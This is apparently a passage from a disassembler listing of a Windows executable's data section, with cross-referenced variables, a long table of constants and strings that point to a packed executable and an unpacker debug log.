; .text:00490696r ...
dword_4F36D0 dd 0 ; DATA XREF: sub_490743+6w
; sub_490743+Br ...
dword_4F36D4 dd 0 ; DATA XREF: sub_490743+11w
; sub_490743+17r ...
byte_4F36D8 db 0 ; DATA XREF: sub_490743+26w
; sub_4907D5+2Er ...
align 4
dword_4F36DC dd 0 ; DATA XREF: .text:0049061Cr
; .text:00490645r ...
dword_4F36E0 dd 0 ; DATA XREF: .text:004905D7r
; sub_490893+19w ...
byte_4F36E4 db 0 ; DATA XREF: sub_490743+39w
; sub_490743+4Aw ...
align 4
dword_4F36E8 dd 11A008AEh ; DATA XREF: sub_4965D8+14w
; sub_4A363D+97r ...
dword_4F36EC dd 11A3FC9Eh ; DATA XREF: sub_4965D8+2Aw
dword_4F36F0 dd 958AD1F8h ; DATA XREF: sub_4965D8+41w
dword_4F36F4 dd 0FB8726F7h ; DATA XREF: sub_4965D8+58w
dword_4F36F8 dd 0A8283A93h ; DATA XREF: sub_4965D8+6Ew
dword_4F36FC dd 2BF49A3Dh ; DATA XREF: sub_4965D8+85w
dword_4F3700 dd 0A64707A0h ; DATA XREF: sub_4965D8+9Cw
dword_4F3704 dd 0D6846EF4h ; DATA XREF: sub_4965D8+B2w
dword_4F3708 dd 0AA8BF833h ; DATA XREF: sub_4965D8+C9w
dword_4F370C dd 0C4F44118h ; DATA XREF: sub_4965D8+E0w
dword_4F3710 dd 0E3309650h ; DATA XREF: sub_4965D8+F6w
dword_4F3714 dd 4DAB9ABAh ; DATA XREF: sub_4965D8+10Dw
dword_4F3718 dd 0F3E931B3h ; DATA XREF: sub_4965D8+124w
dword_4F371C dd 91A7E26Fh ; DATA XREF: sub_4965D8+13Aw
dword_4F3720 dd 74B01D59h ; DATA XREF: sub_4965D8+151w
dword_4F3724 dd 0BADDFF0Fh ; DATA XREF: sub_4965D8+168w
dword_4F3728 dd 32F8C07Fh ; DATA XREF: sub_4965D8+17Ew
dword_4F372C dd 98256840h ; DATA XREF: sub_4965D8+195w
dword_4F3730 dd 0EE923475h ; DATA XREF: sub_4965D8+1ACw
dword_4F3734 dd 69A517D5h ; DATA XREF: sub_4965D8+1C2w
dword_4F3738 dd 9D8144Bh ; DATA XREF: sub_4965D8+1D9w
dword_4F373C dd 172E283Ah ; DATA XREF: sub_4965D8+1F0w
dword_4F3740 dd 63C537F1h ; DATA XREF: sub_4965D8+206w
dword_4F3744 dd 0C097BD34h ; DATA XREF: sub_4965D8+21Dw
dword_4F3748 dd 56AD56B6h ; DATA XREF: sub_4965D8+234w
dword_4F374C dd 9A4A961Ch ; DATA XREF: sub_4965D8+24Aw
dword_4F3750 dd 0B1A591FDh ; DATA XREF: sub_4965D8+261w
dword_4F3754 dd 87F85EB1h ; DATA XREF: sub_4965D8+278w
dword_4F3758 dd 0BA863416h ; DATA XREF: sub_4965D8+28Ew
dword_4F375C dd 834B7EC2h ; DATA XREF: sub_4965D8+2A5w
dword_4F3760 dd 11A0042Eh ; DATA XREF: sub_4965D8+2BCw
dword_4F3764 dd 84635F37h ; DATA XREF: sub_4965D8+2D2w
dword_4F3768 dd 84637034h ; DATA XREF: sub_4965D8+2E9w
dword_4F376C dd 0EA6EEE95h ; DATA XREF: sub_4965D8+300w
dword_4F3770 dd 0B9C29C7Fh ; DATA XREF: sub_4965D8+316w
dword_4F3774 dd 3A1EF194h ; DATA XREF: sub_4965D8+32Dw
dword_4F3778 dd 0B7AD66C8h ; DATA XREF: sub_4965D8+344w
dword_4F377C dd 0C76D6A37h ; DATA XREF: sub_4965D8+35Aw
dword_4F3780 dd 0BB625D9Bh ; DATA XREF: sub_4965D8+371w
dword_4F3784 dd 0D51D2736h ; DATA XREF: sub_4965D8+388w
dword_4F3788 dd 0F2D98B77h ; DATA XREF: sub_4965D8+39Ew
dword_4F378C dd 5C42A28Dh ; DATA XREF: sub_4965D8+3B5w
dword_4F3790 dd 0E200903Fh ; DATA XREF: sub_4965D8+3CCw
dword_4F3794 dd 804DA5E0h ; DATA XREF: sub_4965D8+3E2w
dword_4F3798 dd 65595383h ; DATA XREF: sub_4965D8+3F9w
dword_4F379C dd 0AB340577h ; DATA XREF: sub_4965D8+410w
dword_4F37A0 dd 2312F139h ; DATA XREF: sub_4965D8+426w
dword_4F37A4 dd 89CCA513h ; DATA XREF: sub_4965D8+43Dw
dword_4F37A8 dd 0FF7BBE5Ch ; DATA XREF: sub_4965D8+454w
dword_4F37AC dd 784C7188h ; DATA XREF: sub_4965D8+46Aw
dword_4F37B0 dd 18326DB4h ; DATA XREF: sub_4965D8+481w
dword_4F37B4 dd 6C7FED9h ; DATA XREF: sub_4965D8+498w
dword_4F37B8 dd 722CAADFh ; DATA XREF: sub_4965D8+4AEw
dword_4F37BC dd 0D17E463Eh ; DATA XREF: sub_4965D8+4C5w
dword_4F37C0 dd 474702B3h ; DATA XREF: sub_4965D8+4DCw
dword_4F37C4 dd 8BA34DD8h ; DATA XREF: sub_4965D8+4F2w
dword_4F37C8 dd 0A04F1BD3h ; DATA XREF: sub_4965D8+509w
dword_4F37CC dd 9611AA5Dh ; DATA XREF: sub_4965D8+520w
dword_4F37D0 dd 0AB6FE677h ; DATA XREF: sub_4965D8+536w
dword_4F37D4 dd 92A14707h ; DATA XREF: sub_4965D8+54Dw
dword_4F37D8 dd 958AEFAAh ; DATA XREF: sub_4965D8+564w
dword_4F37DC dd 84635C0Ch ; DATA XREF: sub_4965D8+57Aw
dword_4F37E0 dd 6E47B60Ah ; DATA XREF: sub_4965D8+591w
dword_4F37E4 dd 6E47C43Ch ; DATA XREF: sub_4965D8+5A8w
dword_4F37E8 dd 3DEBA709h ; DATA XREF: sub_4965D8+5BEw
dword_4F37EC dd 0BE344247h ; DATA XREF: sub_4965D8+5D5w
dword_4F37F0 dd 3387EFFCh ; DATA XREF: sub_4965D8+5ECw
dword_4F37F4 dd 43474122h ; DATA XREF: sub_4965D8+602w
dword_4F37F8 dd 3F484873h ; DATA XREF: sub_4965D8+619w
dword_4F37FC dd 5134A51Ah ; DATA XREF: sub_4965D8+630w
dword_4F3800 dd 76F370BCh ; DATA XREF: sub_4965D8+646w
dword_4F3804 dd 0D8680641h ; DATA XREF: sub_4965D8+65Dw
dword_4F3808 dd 662A57FBh ; DATA XREF: sub_4965D8+674w
dword_4F380C dd 4677E18h ; DATA XREF: sub_4965D8+68Aw
dword_4F3810 dd 0E17318D1h ; DATA XREF: sub_4965D8+6A1w
dword_4F3814 dd 2F1E0239h ; DATA XREF: sub_4965D8+6B8w
dword_4F3818 dd 0A73BAA08h ; DATA XREF: sub_4965D8+6CEw
dword_4F381C dd 0DE6EA20h ; DATA XREF: sub_4965D8+6E5w
dword_4F3820 dd 7B513D0Dh ; DATA XREF: sub_4965D8+6FCw
dword_4F3824 dd 0FC656A5Ch ; DATA XREF: sub_4965D8+712w
dword_4F3828 dd 9C1B23D8h ; DATA XREF: sub_4965D8+729w
dword_4F382C dd 82ED5F26h ; DATA XREF: sub_4965D8+740w
dword_4F3830 dd 0F60634EEh ; DATA XREF: sub_4965D8+756w
dword_4F3834 dd 55577D61h ; DATA XREF: sub_4965D8+76Dw
dword_4F3838 dd 0C36E7BADh ; DATA XREF: sub_4965D8+784w
dword_4F383C dd 0F8A4FD5h ; DATA XREF: sub_4965D8+79Aw
dword_4F3840 dd 24662D5Ah ; DATA XREF: sub_4965D8+7B1w
dword_4F3844 dd 1238B43Fh ; DATA XREF: sub_4965D8+7C8w
dword_4F3848 dd 2F45089Ah ; DATA XREF: sub_4965D8+7DEw
dword_4F384C dd 1688E1E7h ; DATA XREF: sub_4965D8+7F5w
dword_4F3850 dd 0FB84832Ch ; DATA XREF: sub_4965D8+80Cw
dword_4F3854 dd 0EA6D65B0h ; DATA XREF: sub_4965D8+822w
dword_4F3858 dd 6E47E5D4h ; DATA XREF: sub_4965D8+839w
dword_4F385C dd 53E5F3DBh ; DATA XREF: sub_4965D8+850w
dword_4F3860 dd 53E5A221h ; DATA XREF: sub_4965D8+866w
dword_4F3864 dd 0D03A2C9Bh ; DATA XREF: sub_4965D8+87Dw
dword_4F3868 dd 5D8A19CAh ; DATA XREF: sub_4965D8+894w
dword_4F386C dd 2D491BD0h ; DATA XREF: sub_4965D8+8AAw
dword_4F3870 dd 5146BD75h ; DATA XREF: sub_4965D8+8C1w
dword_4F3874 dd 3F392DC3h ; DATA XREF: sub_4965D8+8D8w
dword_4F3878 dd 18FD9BCDh ; DATA XREF: sub_4965D8+8EEw
dword_4F387C dd 0B6665AEAh ; DATA XREF: sub_4965D8+905w
dword_4F3880 dd 8241B14h ; DATA XREF: sub_4965D8+91Cw
dword_4F3884 dd 6A6A1065h ; DATA XREF: sub_4965D8+932w
dword_4F3888 dd 8F7D7AA2h ; DATA XREF: sub_4965D8+949w
dword_4F388C dd 4110CCA0h ; DATA XREF: sub_4965D8+960w
dword_4F3890 dd 0C9361DC9h ; DATA XREF: sub_4965D8+976w
dword_4F3894 dd 63EB8410h ; DATA XREF: sub_4965D8+98Dw
dword_4F3898 dd 155F517Ch ; DATA XREF: sub_4965D8+9A4w
dword_4F389C dd 9268DFD1h ; DATA XREF: sub_4965D8+9BAw
dword_4F38A0 dd 0F215216Ch ; DATA XREF: sub_4965D8+9D1w
dword_4F38A4 dd 0ECE3EEC1h ; DATA XREF: sub_4965D8+9E8w
dword_4F38A8 dd 980860EBh ; DATA XREF: sub_4965D8+9FEw
dword_4F38AC dd 3B5AC0EEh ; DATA XREF: sub_4965D8+A15w
dword_4F38B0 dd 0AD6396E5h ; DATA XREF: sub_4965D8+A2Cw
dword_4F38B4 dd 61870A62h ; DATA XREF: sub_4965D8+A42w
dword_4F38B8 dd 4A6BFCACh ; DATA XREF: sub_4965D8+A59w
dword_4F38BC dd 7C3562F5h ; DATA XREF: sub_4965D8+A70w
dword_4F38C0 dd 414B5862h ; DATA XREF: sub_4965D8+A86w
dword_4F38C4 dd 788651E2h ; DATA XREF: sub_4965D8+A9Dw
dword_4F38C8 dd 0A82B7118h ; DATA XREF: sub_4965D8+AB4w
dword_4F38CC dd 0B9C2B63Eh ; DATA XREF: sub_4965D8+ACAw
dword_4F38D0 dd 3DE86B9Fh ; DATA XREF: sub_4965D8+AE1w
dword_4F38D4 dd 53E5BC02h ; DATA XREF: sub_4965D8+AF8w
dword_4F38D8 dd 8395F99Ch ; DATA XREF: sub_4965D8+B0Ew
dword_4F38DC dd 83968F06h ; DATA XREF: sub_4965D8+B25w
dword_4F38E0 dd 0E267A89h ; DATA XREF: sub_4965D8+B3Cw
dword_4F38E4 dd 7EE52853h ; DATA XREF: sub_4965D8+B52w
dword_4F38E8 dd 2EA91BEh ; DATA XREF: sub_4965D8+B69w
dword_4F38EC dd 6C96C639h ; DATA XREF: sub_4965D8+B80w
dword_4F38F0 dd 4B52A5F4h ; DATA XREF: sub_4965D8+B96w
dword_4F38F4 dd 0E5CA4400h ; DATA XREF: sub_4965D8+BADw
dword_4F38F8 dd 5B8B8CD9h ; DATA XREF: sub_4965D8+BC4w
dword_4F38FC dd 39C6F55Bh ; DATA XREF: sub_4965D8+BDAw
dword_4F3900 dd 0DCD2BBE7h ; DATA XREF: sub_4965D8+BF1w
dword_4F3904 dd 12BCD95Dh ; DATA XREF: sub_4965D8+C08w
dword_4F3908 dd 9A99D450h ; DATA XREF: sub_4965D8+C1Ew
dword_4F390C dd 30445F3Ch ; DATA XREF: sub_4965D8+C35w
dword_4F3910 dd 46F30899h ; DATA XREF: sub_4965D8+C4Cw
dword_4F3914 dd 0C1C711D5h ; DATA XREF: sub_4965D8+C62w
dword_4F3918 dd 0A1BAEA70h ; DATA XREF: sub_4965D8+C79w
dword_4F391C dd 0BF4CDF18h ; DATA XREF: sub_4965D8+C90w
dword_4F3920 dd 0CBA48B58h ; DATA XREF: sub_4965D8+CA6w
dword_4F3924 dd 68F6D499h ; DATA XREF: sub_4965D8+CBDw
dword_4F3928 dd 0FECF7D37h ; DATA XREF: sub_4965D8+CD4w
dword_4F392C dd 322BF2AFh ; DATA XREF: sub_4965D8+CEAw
dword_4F3930 dd 19C476FEh ; DATA XREF: sub_4965D8+D01w
dword_4F3934 dd 2F9A9D8Eh ; DATA XREF: sub_4965D8+D18w
dword_4F3938 dd 12E730DAh ; DATA XREF: sub_4965D8+D2Ew
dword_4F393C dd 2B29F132h ; DATA XREF: sub_4965D8+D45w
dword_4F3940 dd 2BF720A5h ; DATA XREF: sub_4965D8+D5Cw
dword_4F3944 dd 3A1EAAE9h ; DATA XREF: sub_4965D8+D72w
dword_4F3948 dd 0BE342A13h ; DATA XREF: sub_4965D8+D89w
dword_4F394C dd 0D03A0A98h ; DATA XREF: sub_4965D8+DA0w
dword_4F3950 dd 83964292h ; DATA XREF: sub_4965D8+DB6w
dword_4F3954 dd 8DF9A5A9h ; DATA XREF: sub_4965D8+DCDw
dword_4F3958 dd 8DFACF35h ; DATA XREF: sub_4965D8+DE4w
dword_4F395C dd 0FD3ADA11h ; DATA XREF: sub_4965D8+DFAw
dword_4F3960 dd 81369D30h ; DATA XREF: sub_4965D8+E11w
dword_4F3964 dd 0EF492383h ; DATA XREF: sub_4965D8+E28w
dword_4F3968 dd 0C88EC1BBh ; DATA XREF: sub_4965D8+E3Ew
dword_4F396C dd 6615E79Bh ; DATA XREF: sub_4965D8+E55w
dword_4F3970 dd 0D857F3A4h ; DATA XREF: sub_4965D8+E6Cw
dword_4F3974 dd 0BA192B03h ; DATA XREF: sub_4965D8+E82w
dword_4F3978 dd 5F0E8937h ; DATA XREF: sub_4965D8+E99w
dword_4F397C dd 9163A50Fh ; DATA XREF: sub_4965D8+EB0w
dword_4F3980 dd 1946588Eh ; DATA XREF: sub_4965D8+EC6w
dword_4F3984 dd 0B39BF5ADh ; DATA XREF: sub_4965D8+EDDw
dword_4F3988 dd 0C52F6403h ; DATA XREF: sub_4965D8+EF4w
dword_4F398C dd 4218EA87h ; DATA XREF: sub_4965D8+F0Aw
dword_4F3990 dd 22651A40h ; DATA XREF: sub_4965D8+F21w
dword_4F3994 dd 3C933D25h ; DATA XREF: sub_4965D8+F38w
dword_4F3998 dd 48781524h ; DATA XREF: sub_4965D8+F4Ew
dword_4F399C dd 0EB295695h ; DATA XREF: sub_4965D8+F65w
dword_4F39A0 dd 7D101ABDh ; DATA XREF: sub_4965D8+F7Cw
dword_4F39A4 dd 0B1F442FDh ; DATA XREF: sub_4965D8+F92w
dword_4F39A8 dd 9A1B2219h ; DATA XREF: sub_4965D8+FA9w
dword_4F39AC dd 0AC454FC4h ; DATA XREF: sub_4965D8+FC0w
dword_4F39B0 dd 9138F6E4h ; DATA XREF: sub_4965D8+FD6w
dword_4F39B4 dd 0A8F5BF9Ch ; DATA XREF: sub_4965D8+FEDw
dword_4F39B8 dd 0A644B942h ; DATA XREF: sub_4965D8+1004w
dword_4F39BC dd 0B7AD158Dh ; DATA XREF: sub_4965D8+101Aw
dword_4F39C0 dd 33879B26h ; DATA XREF: sub_4965D8+1031w
dword_4F39C4 dd 5D899212h ; DATA XREF: sub_4965D8+1048w
dword_4F39C8 dd 0E259137h ; DATA XREF: sub_4965D8+105Ew
dword_4F39CC dd 8DFA71BAh ; DATA XREF: sub_4965D8+1075w
dword_4F39D0 dd 70896B67h ; DATA XREF: sub_4965D8+108Cw
dword_4F39D4 dd 7089A206h ; DATA XREF: sub_4965D8+10A2w
dword_4F39D8 dd 0C86AE5Ch ; DATA XREF: sub_4965D8+10B9w
dword_4F39DC dd 62F95DEBh ; DATA XREF: sub_4965D8+10D0w
dword_4F39E0 dd 453EE49Dh ; DATA XREF: sub_4965D8+10E6w
dword_4F39E4 dd 0EBA6303Fh ; DATA XREF: sub_4965D8+10FDw
dword_4F39E8 dd 55E45E37h ; DATA XREF: sub_4965D8+1114w
dword_4F39EC dd 37AABFDFh ; DATA XREF: sub_4965D8+112Aw
dword_4F39F0 dd 0D2BD1F06h ; DATA XREF: sub_4965D8+1141w
dword_4F39F4 dd 1CD3442Dh ; DATA XREF: sub_4965D8+1158w
dword_4F39F8 dd 94F5AF29h ; DATA XREF: sub_4965D8+116Ew
dword_4F39FC dd 3E28E0F6h ; DATA XREF: sub_4965D8+1185w
dword_4F3A00 dd 489F627Fh ; DATA XREF: sub_4965D8+119Cw
dword_4F3A04 dd 0CFA8C922h ; DATA XREF: sub_4965D8+11B2w
dword_4F3A08 dd 0AFD6BD4Bh ; DATA XREF: sub_4965D8+11C9w
dword_4F3A0C dd 0B1232DC4h ; DATA XREF: sub_4965D8+11E0w
dword_4F3A10 dd 0C5C8E7DEh ; DATA XREF: sub_4965D8+11F6w
dword_4F3A14 dd 6699747Eh ; DATA XREF: sub_4965D8+120Dw
dword_4F3A18 dd 0F0A3C198h ; DATA XREF: sub_4965D8+1224w
dword_4F3A1C dd 3C44789Ch ; DATA XREF: sub_4965D8+123Aw
dword_4F3A20 dd 17A82F74h ; DATA XREF: sub_4965D8+1251w
dword_4F3A24 dd 21F68BF5h ; DATA XREF: sub_4965D8+1268w
dword_4F3A28 dd 1C88B067h ; DATA XREF: sub_4965D8+127Ew
dword_4F3A2C dd 2546CAA6h ; DATA XREF: sub_4965D8+1295w
dword_4F3A30 dd 0D687D4DEh ; DATA XREF: sub_4965D8+12ACw
dword_4F3A34 dd 0C76D9F93h ; DATA XREF: sub_4965D8+12C2w
dword_4F3A38 dd 43472608h ; DATA XREF: sub_4965D8+12D9w
dword_4F3A3C dd 2D4AC21Ch ; DATA XREF: sub_4965D8+12F0w
dword_4F3A40 dd 7EE57CACh ; DATA XREF: sub_4965D8+1306w
dword_4F3A44 dd 0FD3AA72Ah ; DATA XREF: sub_4965D8+131Dw
dword_4F3A48 dd 70891322h ; DATA XREF: sub_4965D8+1334w
dword_4F3A4C dd 7C45C14Ch ; DATA XREF: sub_4965D8+134Aw
dword_4F3A50 dd 7C463579h ; DATA XREF: sub_4965D8+1361w
dword_4F3A54 dd 1239FF96h ; DATA XREF: sub_4965D8+1378w
dword_4F3A58 dd 35FE1A5Fh ; DATA XREF: sub_4965D8+138Ew
dword_4F3A5C dd 9B66CC6Dh ; DATA XREF: sub_4965D8+13A5w
dword_4F3A60 dd 25271CF8h ; DATA XREF: sub_4965D8+13BCw
dword_4F3A64 dd 47699DB0h ; DATA XREF: sub_4965D8+13D2w
dword_4F3A68 dd 0A27D517Bh ; DATA XREF: sub_4965D8+13E9w
dword_4F3A6C dd 6C13ABF7h ; DATA XREF: sub_4965D8+1400w
dword_4F3A70 dd 0E4352231h ; DATA XREF: sub_4965D8+1416w
dword_4F3A74 dd 4EEB6AF3h ; DATA XREF: sub_4965D8+142Dw
dword_4F3A78 dd 385C32A0h ; DATA XREF: sub_4965D8+1444w
dword_4F3A7C dd 0BF6827CDh ; DATA XREF: sub_4965D8+145Aw
dword_4F3A80 dd 0DF15CAD0h ; DATA XREF: sub_4965D8+1471w
dword_4F3A84 dd 0C1E3953Dh ; DATA XREF: sub_4965D8+1488w
dword_4F3A88 dd 0B50B7BD6h ; DATA XREF: sub_4965D8+149Ew
dword_4F3A8C dd 1659853Dh ; DATA XREF: sub_4965D8+14B5w
dword_4F3A90 dd 8063521Eh ; DATA XREF: sub_4965D8+14CCw
dword_4F3A94 dd 4C849CA5h ; DATA XREF: sub_4965D8+14E2w
dword_4F3A98 dd 6768E2D7h ; DATA XREF: sub_4965D8+14F9w
dword_4F3A9C dd 51358509h ; DATA XREF: sub_4965D8+1510w
dword_4F3AA0 dd 6C4843DEh ; DATA XREF: sub_4965D8+1526w
dword_4F3AA4 dd 55869771h ; DATA XREF: sub_4965D8+153Dw
dword_4F3AA8 dd 0AA8BF6D6h ; DATA XREF: sub_4965D8+1554w
dword_4F3AAC dd 0BB6244F3h ; DATA XREF: sub_4965D8+156Aw
dword_4F3AB0 dd 3F486E2Dh ; DATA XREF: sub_4965D8+1581w
dword_4F3AB4 dd 5146C125h ; DATA XREF: sub_4965D8+1598w
dword_4F3AB8 dd 2EAFA9Dh ; DATA XREF: sub_4965D8+15AEw
dword_4F3ABC dd 813698A1h ; DATA XREF: sub_4965D8+15C5w
dword_4F3AC0 dd 0C864889h ; DATA XREF: sub_4965D8+15DCw
dword_4F3AC4 dd 7C46931Ch ; DATA XREF: sub_4965D8+15F2w
dword_4F3AC8 dd 6E35A83Ah ; DATA XREF: sub_4965D8+1609w
dword_4F3ACC dd 6E365334h ; DATA XREF: sub_4965D8+1620w
dword_4F3AD0 dd 49F22F05h ; DATA XREF: sub_4965D8+1636w
dword_4F3AD4 dd 0E76949D7h ; DATA XREF: sub_4965D8+164Dw
dword_4F3AD8 dd 0 ; DATA XREF: sub_4B331A+3o
; sub_4B3AA2:loc_4B3AD2r ...
dword_4F3ADC dd 0 ; DATA XREF: sub_4B3AFF+94r
; sub_4B3AFF:loc_4B3BAEr ...
dword_4F3AE0 dd 0 ; DATA XREF: sub_4B3AFF+5Cr
align 8
dd 77FC5860h, 0FFFFFFFFh, 4 dup(0)
dword_4F3B00 dd 0ECh ; DATA XREF: sub_4B3E69+17r
; sub_4B4581+6w
dword_4F3B04 dd 41h dup(0) ; DATA XREF: sub_4B3E69:loc_4B3EF6o
; sub_4B40C4+220o
dword_4F3C08 dd 41h dup(0) ; DATA XREF: sub_4B40C4+238o
; wchar_t aPacked
aPacked: ; DATA XREF: sub_4B3E69+40o
; sub_4B40C4+F1o
unicode 0, <packed>,0
aE db 'e',0
aXe:
unicode 0, <xe>,0
align 4
dd 7Ch dup(0)
; wchar_t aPacked_0
aPacked_0: ; DATA XREF: sub_4B40C4+109o
unicode 0, <packed>,0
aE_0 db 'e',0
aXe_0:
unicode 0, <xe>,0
aE_1 db 'e',0
aRPacked_exe:
unicode 0, <r\packed.exe>,0
align 4
dd 75h dup(0)
byte_4F411C db 1 ; DATA XREF: sub_4B36BD+37w
; sub_4B36BD:loc_4B3701r
byte_4F411D db 1 ; DATA XREF: sub_4B36BD+Br
; sub_4B36BD+3Dw
align 10h
; char byte_4F4120
byte_4F4120 db 0 ; DATA XREF: sub_4B3329:loc_4B351Br
; sub_4B3329:loc_4B3699o ...
align 4
; wchar_t word_4F4124
word_4F4124 dw 0 ; DATA XREF: sub_4B3329+74r
; sub_4B3329:loc_4B34FCo ...
align 10h
dword_4F4130 dd 1 ; DATA XREF: sub_4B45FB+4Fr
; sub_4B45FB+239r ...
dword_4F4134 dd 0Ah ; DATA XREF: WinMain(x,x,x,x)+20w
dword_4F4138 dd 14234Ah ; DATA XREF: sub_4B45FB+58r
; sub_4B45FB+66r ...
dword_4F413C dd 400000h ; DATA XREF: WinMain(x,x,x,x)+31w
dd 3 dup(0)
dword_4F414C dd 0 ; DATA XREF: sub_4B45FB+242r
dword_4F4150 dd 0 ; DATA XREF: .text:004B5FA9r
; .text:004B5FC0r
dword_4F4154 dd 0AB35F3h ; DATA XREF: sub_4B45FB+1A4w
; .text:004B5DF9r ...
dword_4F4158 dd 0AB9D16h ; DATA XREF: sub_4B45FB+19Bw
; .text:004B5DE0r ...
; char byte_4F415C[]
byte_4F415C db 100h dup(0) ; DATA XREF: sub_4B45FB+232o
; WinMain(x,x,x,x)+19Co ...
dword_4F425C dd 40h dup(0) ; DATA XREF: sub_4B60E5:loc_4B6103o
byte_4F435C db 0 ; DATA XREF: .text:004B5CB4w
; .text:004B8D6Ar
align 10h
dword_4F4360 dd 0 ; DATA XREF: .text:004B5F72r
; .text:004B5F7Br ...
dword_4F4364 dd 0A90000h ; DATA XREF: sub_4B45FB+FCr
; sub_4B45FB+122r ...
dword_4F4368 dd 0ABDEDBh ; DATA XREF: sub_4B45FB+102r
; .text:004B5268w ...
align 10h
dword_4F4370 dd 0 ; DATA XREF: sub_4B45B1+3r
; sub_4B45FB+31w ...
; char byte_4F4374[]
byte_4F4374 db 100h dup(0) ; DATA XREF: sub_4B45C2+3o
; sub_4B45FB+20Ao ...
dword_4F4474 dd 77E60000h ; DATA XREF: sub_4B5E35+17w
; sub_4B5E35+21r
dword_4F4478 dd 0 ; DATA XREF: sub_4B5E35+3r
; sub_4B5E35+2Dw ...
align 10h
dword_4F4480 dd 400000h ; DATA XREF: sub_4B45FB+186r
; sub_4B48AD+6r ...
dword_4F4484 dd 0 ; DATA XREF: sub_4B45FB+224r
; sub_4B4965+190r ...
byte_4F4488 db 0 ; DATA XREF: sub_4B45FB+1C8r
; sub_4B45FB+1E2r ...
align 4
dword_4F448C dd 0 ; DATA XREF: sub_4B6C08+37w
; sub_4B6C08+1EFr ...
dword_4F4490 dd 0 ; DATA XREF: sub_4B6C08+2Ew
; sub_4B6C08+1D6r ...
dword_4F4494 dd 0 ; DATA XREF: sub_4B45E9+Bw
; sub_4B4965+6Cw ...
dword_4F4498 dd 0 ; DATA XREF: sub_4B67B0+12r
; sub_4B67B0+1Ew ...
dword_4F449C dd 0 ; DATA XREF: sub_4B6BB7+1Fw
; sub_4B6BB7+24r ...
dword_4F44A0 dd 0 ; DATA XREF: sub_4B6828+2ABw
; sub_4B6828+2F5r ...
byte_4F44A4 db 0 ; DATA XREF: sub_4B6C08+1Dw
; sub_4B6C08+115r ...
byte_4F44A5 db 0 ; DATA XREF: sub_4B6C08+25w
; sub_4B7150+Er
align 4
dword_4F44A8 dd 0 ; DATA XREF: sub_4B67B0+Ar
; sub_4B6C08+6Eo ...
dword_4F44AC dd 0 ; DATA XREF: sub_4B6F14+1E7r
; sub_4B7150+57w
byte_4F44B0 db 0 ; DATA XREF: sub_4B6C08+C7r
; sub_4B6C08+185w
byte_4F44B1 db 0 ; DATA XREF: sub_4B6C08+56w
; sub_4B6C08+8Fr ...
align 8
dword_4F44B8 dd 0 ; DATA XREF: .text:004BAF0Ew
; .text:004BB066r
dd 1Dh dup(0)
dword_4F4530 dd 0 ; DATA XREF: .text:004BAE7Bw
; .text:004BAFBBr ...
dd 1Dh dup(0)
; void *dword_4F45A8
dword_4F45A8 dd 0 ; DATA XREF: sub_4BDA71+23r
; sub_4BDAA4+33r ...
dword_4F45AC dd 0 ; DATA XREF: .text:004BDE27o
; .text:004BDEB5o
dword_4F45B0 dd 6 dup(0) ; DATA XREF: .text:004B7D82o
; .text:loc_4B82A1o ...
dword_4F45C8 dd 0 ; DATA XREF: .text:004BADE0w
; .text:004BAE56r ...
dd 1Dh dup(0)
dword_4F4640 dd 0 ; DATA XREF: .text:004BAEADw
; .text:004BAFE0r ...
dd 1Fh dup(0)
dword_4F46C0 dd 0 ; DATA XREF: .text:004BAEDCw
; .text:004BB00Dr ...
dd 1Dh dup(0)
dword_4F4738 dd 0F41B764h ; DATA XREF: sub_4B73FA+8w
; .text:004B7F02r ...
dword_4F473C dd 0 ; DATA XREF: sub_4B45FB+284w
; sub_4B45FB+291w ...
byte_4F4740 db 0 ; DATA XREF: .text:004B5C06w
byte_4F4741 db 0 ; DATA XREF: .text:004B861Cw
; .text:004B9E81r ...
byte_4F4742 db 0 ; DATA XREF: .text:004B97A2r
; .text:004BA0DEr ...
byte_4F4743 db 0 ; DATA XREF: .text:004B86A9w
; .text:004BAC81r
byte_4F4744 db 0 ; DATA XREF: .text:004BD617r
; .text:004BD620w
align 4
dword_4F4748 dd 0 ; DATA XREF: sub_4B742A+AFr
; sub_4B742A+BEr ...
dword_4F474C dd 0 ; DATA XREF: .text:004B7837r
; .text:004B8283r ...
dword_4F4750 dd 0 ; DATA XREF: .text:004B7CE3r
; .text:004B7D38r ...
dword_4F4754 dd 0 ; DATA XREF: sub_4B742A+9r
; sub_4B742A+21r ...
dd 0
dword_4F475C dd 0 ; DATA XREF: .text:004B75FAw
dword_4F4760 dd 0 ; DATA XREF: .text:004B7E9Fw
; .text:004B7EB5w ...
dword_4F4764 dd 0 ; DATA XREF: .text:004B8D63w
; .text:004B913Er ...
dword_4F4768 dd 0 ; DATA XREF: .text:004B75ADw
; .text:004B764Cr ...
dword_4F476C dd 0 ; DATA XREF: .text:004B9F02r
; .text:004BC2BBr ...
dword_4F4770 dd 0 ; DATA XREF: .text:004B7663w
; .text:004B77D9r ...
dword_4F4774 dd 0 ; DATA XREF: .text:004B76A7w
; .text:004B77E8r ...
dword_4F4778 dd 0 ; DATA XREF: .text:004B76CFw
; .text:004B77F8r ...
dword_4F477C dd 0 ; DATA XREF: .text:004B772Cw
; .text:004B7875r ...
byte_4F4780 db 0 ; DATA XREF: .text:004B7CC2r
; .text:004B7D19r ...
byte_4F4781 db 0 ; DATA XREF: .text:004BCC5Fw
; .text:004BD13Fr
align 4
dword_4F4784 dd 0 ; DATA XREF: .text:004BACDBr
; .text:004BAD15w ...
dword_4F4788 dd 0 ; DATA XREF: .text:loc_4BAD9Cw
dword_4F478C dd 0 ; DATA XREF: sub_4BDAA4+Dr
; sub_4BDAA4+59r ...
dword_4F4790 dd 0 ; DATA XREF: sub_4BDB47+27r
; sub_4BDB47+2Fr ...
dword_4F4794 dd 0Ah dup(0) ; DATA XREF: .text:004BE4E3o
; .text:004BE4F5o
byte_4F47BC db 0 ; DATA XREF: .text:004BE10Fr
; sub_4BE283+22r
byte_4F47BD db 0 ; DATA XREF: .text:004BE11Br
; sub_4BE283+16r
align 10h
; char byte_4F47C0
byte_4F47C0 db 0 ; DATA XREF: .text:004BE0E3r
; .text:004BE14Co ...
align 4
dd 40h dup(0)
; char byte_4F48C4
byte_4F48C4 db 43h ; DATA XREF: sub_4BE1B4+9r
; sub_4BE1B4:loc_4BE1D4o ...
aM_unpackerPack db ':\m_unpacker\packed-2.DbgLog',0
align 4
dd 39h dup(0)
dword_4F49C8 dd 0 ; DATA XREF: .text:004BE104r
; .text:004BE161w ...
dword_4F49CC dd 0 ; DATA XREF: .data:004EDE70o
dword_4F49D0 dd 0 ; DATA XREF: .data:004EDE8Co
dword_4F49D4 dd 0 ; DATA XREF: __lseek_0+38w
